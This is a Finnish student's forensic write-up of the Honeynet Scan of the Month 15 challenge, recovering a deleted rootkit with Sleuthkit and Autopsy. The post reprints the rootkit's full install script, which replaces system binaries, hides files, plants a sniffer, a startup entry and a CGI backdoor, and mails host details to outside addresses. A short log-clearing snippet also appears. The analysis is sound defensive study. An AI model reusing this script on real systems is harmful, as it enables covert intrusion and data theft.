Viikko 2. Poliisit ja rosvot.
Tämän viikon kotitehtävänä oli Honeynetin Scan of the month
15 http://old.honeynet.org/scans/scan15/ jonka tehtävänanto oli seuraava:
On 15 March. 2001,
a Linux honeypot was successfully compromised, a rootkit was download to the /
partition and then deleted from the system. Your mission is to find and recover
the deleted rootkit. If you are not sure where to begin on conducting this
forensic analysis and recover the rootkit, we highly reccommend you start with
the Forensic Challenge. The steps you will have to follow
for the rootkit recovery are similar to the steps discussed there. We have
posted only the / partion for download to keep this challenge simple. The
compressed image is 13MB, (honeynet.tar.gz)
MD5=0dff8fb9fe022ea80d8f1a4e4ae33e21. Once you have downloaded, untarred, and
unzipped the partition image, it will be 255 MB and the checksum should be
MD5=5a8ebf5725b15e563c825be85f2f852e.
1. Show
step by step how you identify and recover the deleted rootkit from the /
partition.
2.
What files make up the deleted
rootkit?
Bonus
Question: Was the rootkit ever actually
installed on the system? How do you know?
Koska en ollut viikonloppuna kotona, ja unohdin live-usbin
olohuoneen pöydälle, päätin tehdä virtualboxilla (versio 4.2.6 for windows http://download.virtualbox.org/virtualbox/4.2.6/VirtualBox-4.2.6-82870-Win.exe) oman testixubuntun (12.04)
Koneena siis HP elitebook 2530p, win 7 enterprise 64-bit
SP1, Core2Duo L9400 1,86 GHz ja 4 GB muistia.
Aloitin tehtävän hakemalla levykuvan http://old.honeynet.org/scans/scan15/honeynet.tar.gz
ja siirsin sen omaan kansioonsa /scan15
Purin paketin komennolla $ tar -xf honeynet.tar.gz joka
purki levykuvan omaan alikansioon /scan15/honeynet.
Seuraavaksi asensin sleuthkitin ja sekä autopsyn, sen
graafisen käyttöliittymän takia.
$ sudo
apt-get update
$ sudo
apt-get install sleuthkit
$ sudo apt-get install autopsy
Seuraavaksi autopsyn käynnistys
$ sudo autopsy
Tässä kohtaa ohjelma pyysi avaamaan selaimen ja
kirjoittamaan osoitekenttään localhost:9999/autopsy
Tästä valitaan new case, annetaan caselle nimi, mahdollinen
kuvaus ja tutkijoiden nimet.
Seuraavassa annetaan caselle host, tässä tapauksessa
ehdotettu host1, sekä importataan levykuva. En muokannut ehdotettuja asetuksia.
Kun tämä oli valmis, analyze painikkeella päästiin itse
levykuvaan.
Vinkiksi annettiin tunnilla, että rootkit on poistettu
koneelta. Niinpä lähdin tarkastelemaan poistettuja tietoja. Heti ensimmäisenä
silmille hyppäsi poistettu kansio last, joka osoittautui tyhjäksi, sekä lk.tgz
paketti. Exporttasin lk.tgz paketin /scan15/honeynet kansioon, ja purin sen
komennolla $ sudo tar –xf vol1-1.lk.tgz. Tämä loikin samaisen last kansion joka
löytyi poistetusta, ja piti sisällään /bin ja /lib kansioihin kuuluvia
tiedostoja.
cleaner
last.cgi mkxfs s ssh ssh_host_key.pub
ifconfig
linsniffer netstat sense ssh_config ssh_random_seed
inetd.conf
logclear pidfile services sshd_config top
install lsattr ps sl2 ssh_host_key
Oletan, että tämä paketti on siis tuo kaivattu rootkit.
Päätin vielä syynätä tarkemmin tiedostojen sisältöä strings
-komennolla aloittaen linsnifferistä. Tämä kun kuulostaa jo harvinaisen paljon
semmoiselta mikä ei kuulu koneeseen. Tiedosto ei itsessään kertonut juurikaan
mitään, mutta pikainen googletus kertoi ohjelma olevan ”powerful Linux Ethernet
sniffer”.
Seuraavaksi otin käsittelyyn install-tiedoston, joka sisälsi
seuraavaa:
#!/bin/sh
clear
unset
HISTFILE
echo "********* Instalarea Rootkitului A
Pornit La Drum *********"
echo "********* Mircea SUGI PULA
********************************"
echo "********* Multumiri La Toti Care M-Au
Ajutat **************"
echo "********* Lemme Give You A Tip :
**************************"
echo "********* Ignore everything, call your
freedom ************"
echo "********* Scream & swear as much
as you can ***************"
echo "********* Cuz anyway nobody will hear
you and no one will *"
echo "********* Care about you
**********************************"
echo
echo
chown
root.root *
if [ -f
/usr/bin/make ]; then
echo "Are Make !"
else
echo "Nu Are Make !"
fi
if [ -f
/usr/bin/gcc ]; then
echo "Are Gcc !"
else
echo "Nu Are Gcc !"
fi
if [ -f
/usr/sbin/sshd/ ]; then
echo "Are Ssh !"
else
echo "Nu Are Ssh !"
fi
echo -n "* Inlocuim nestat ... alea alea "
rm -rf
/sbin/ifconfig
mv ifconfig
/sbin/ifconfig
rm -rf
/bin/netstat
mv netstat
/bin/netstat
rm -rf /bin/ps
mv ps /bin/ps
rm -rf
/usr/bin/top
mv top
/usr/bin/top
cp -f mkxfs
/usr/sbin/
echo
"* Gata..."
echo -n "*
Dev... "
echo
echo
touch
/dev/rpm
>/dev/rpm
echo
"3 sl2" >>/dev/rpm
echo
"3 sshdu" >>/dev/rpm
echo
"3 linsniffer" >>/dev/rpm
echo
"3 smurf" >>/dev/rpm
echo
"3 slice" >>/dev/rpm
echo
"3 mech" >>/dev/rpm
echo
"3 muh" >>/dev/rpm
echo
"3 bnc" >>/dev/rpm
echo
"3 psybnc" >> /dev/rpm
touch
/dev/last
>/dev/last
echo
"1 193.231.139" >>/dev/last
echo
"1 213.154.137" >>/dev/last
echo
"1 193.254.34" >>/dev/last
echo
"3 48744" >>/dev/last
echo
"3 3666" >>/dev/last
echo
"3 31221" >>/dev/last
echo
"3 22546" >>/dev/last
echo
"4 48744" >>/dev/last
echo
"4 2222" >>/dev/last
echo
"* Gata"
echo
"* Facem Director...Si Mutam Alea.. "
mkdir -p
/dev/ida/.drag-on
mkdir -p
/dev/ida/".. "
echo "*
Copiem ssh si alea"
cp
linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
/dev/ida/.drag-on/
cp
linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
/dev/ida/".. "
rm -rf
linsniffer logclear sense sl2 mkxfs s ssh_host_key ssh_random_seed
touch
/dev/ida/.drag-on/tcp.log
touch
/dev/ida/".. "/tcp.log
cp -f
inetd.conf /etc
cp -f
services /etc
killall
-HUP inetd
echo
echo
echo
echo
"* Adaugam In Startup:) ..."
rm -rf
/usr/bin/lsattr
echo
"/usr/bin/lsattr -t1 -X53 -p" >> /etc/rc.d/rc.sysinit
echo
>> /etc/rc.d/rc.sysinit
cp -f lsattr
/usr/bin/
chmod 500
/usr/bin/lsattr
chattr +i
/usr/bin/lsattr
/usr/bin/lsattr
sleep 1
if [ -d
/home/httpd/cgi-bin ]
then
mv -f
last.cgi /home/httpd/cgi-bin/
fi
if [ -d
/usr/local/httpd/cgi-bin ]
then
mv -f
last.cgi /usr/local/httpd/cgi-bin/
fi
if [ -d
/usr/local/apache/cgi-bin ]
then
mv -f
last.cgi /usr/local/apache/cgi-bin/
fi
if [ -d
/www/httpd/cgi-bin ]
then
mv -f
last.cgi /www/httpd/cgi-bin/
fi
if [ -d
/www/cgi-bin ]
then
mv -f
last.cgi /www/cgi-bin/
fi
echo
"* Luam Informatiile dorite ..."
echo
"* Info : $(uname -a)" >> computer
echo
"* Hostname : $(hostname -f)" >> computer
echo
"* IfConfig : $(/sbin/ifconfig | grep inet)" >> computer
echo
"* Uptime : $(uptime)" >> computer
echo
"* Cpu Vendor ID : $(cat /proc/cpuinfo|grep vendor_id)" >>
computer
echo
"* Cpu Model : $(cat /proc/cpuinfo|grep model)" >> computer
echo
"* Cpu Speed: $(cat /proc/cpuinfo|grep MHz)" >> computer
echo
"* Bogomips: $(cat /proc/cpuinfo|grep bogomips)" >> computer
echo
"* Spatiu Liber: $(df -h)" >> computer
echo
"* Gata ! Trimitem Mailul ...Asteapta Te Rog "
cat
computer | mail -s "placinte" last@linuxmail.org
cat
computer | mail -s "roote" bidi_damm@yahoo.com
echo
"* Am trimis mailul ... stergem fisierele care nu mai trebuie ."
echo
echo
echo
"* G A T A *"
echo
echo
"* That Was Nice Last "
cd /
rm -rf last
lk.tgz computer lk.tar.gz
Heti ensimmäisenä ohjelma poistaa historian pois käytöstä,
ja tervehtii sen jälkeen iloisesti ilmeisesti romaniaksi. Skripti ajaa
rootkitin koneelle, ja poistaa viimeiseksi vielä tiedostopaketin.
Seuraavaksi tutkin logclearia, joka näytti tältä:
killall -9
linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &
Tämä ilmeisesti tappaa linsnifferin, poistaa tcp.login,
tekee siitä uuden version ja käynnistää linsnifferin uudelleen. Tämän
tarkoituksena lienee piilottaa linsniffer.
Cleaner tiedosto alkoi lupaavasti sen ilmoittaessa olevansa
sauber – by socked. Jälleen pikainen googletus kertoi sen olevan osa t0rn
rootkittia. Tämän tarkoituksena on ilmeisesti pyyhkiä monia eri lokeja, jonka
jälkeen se juhlallisesti ilmoittaa Mestarille kaiken olevan puhdistettu.
Tämän jälkeen tutkin vielä $OrphanFiles kansion poistettuja
tietoja. Sieltä löytyikin poistettuna samoja tiedostoja, jotka lk.tgz asensi
last kansioon. Tämä saattaisi viitata siihen, että rootkit on todella ollut
asennettuna koneeseen.